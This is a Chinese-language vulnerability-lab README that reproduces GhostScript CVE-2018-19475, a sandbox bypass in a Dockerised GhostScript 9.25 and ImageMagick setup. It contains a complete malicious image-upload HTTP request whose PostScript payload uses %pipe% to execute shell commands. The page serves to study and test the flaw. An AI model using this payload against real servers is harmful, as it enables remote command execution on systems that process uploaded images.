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ghostscript/CVE-2018-19475/README.zh-cn.md
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ghostscript/CVE-2018-19475/README.zh-cn.md
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# GhostScript 沙箱绕过命令执行漏洞(CVE-2018-19475)
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GhostScript 是一套基于 Adobe Systems 的 PostScript 和 PDF 页面描述语言解释器的软件。它被许多图像处理库广泛使用。
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2018年底,来自 Semmle Security Research Team 的 Man Yue Mo 发表了 CVE-2018-16509 漏洞的变体 CVE-2018-19475。该漏洞允许攻击者通过恶意图片绕过 GhostScript 的沙箱,进而在 9.26 以前版本的 gs 中执行任意命令。
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参考链接:
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- <https://blog.semmle.com/ghostscript-CVE-2018-19475/>
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- <https://bugs.ghostscript.com/show_bug.cgi?id=700153>
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## 环境搭建
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执行如下命令启动漏洞环境(其中包括 GhostScript 9.25 和 ImageMagick 7.0.8-20):
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```
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docker compose up -d
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```
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环境启动后,访问 `http://your-ip:8080` 将看到一个文件上传组件。
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## 漏洞复现
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将 POC 作为图片上传,执行命令 `id > /tmp/success && cat /tmp/success`:
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```
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POST /index.php HTTP/1.1
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Host: target
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO
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Content-Length: 279
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------WebKitFormBoundaryukZmnyhO
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Content-Disposition: form-data; name="file_upload"; filename="1.jpg"
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content-Type="image/png"
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%!PS
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0 1 300367 {} for
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{save restore} stopped {} if
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(%pipe%id > /tmp/success && cat /tmp/success) (w) file
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------WebKitFormBoundaryukZmnyhO--
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```
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可见,命令将被成功执行。
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在实际环境中,由于通常无法直接看到命令执行结果,你可能需要使用带外攻击技术来检测漏洞。
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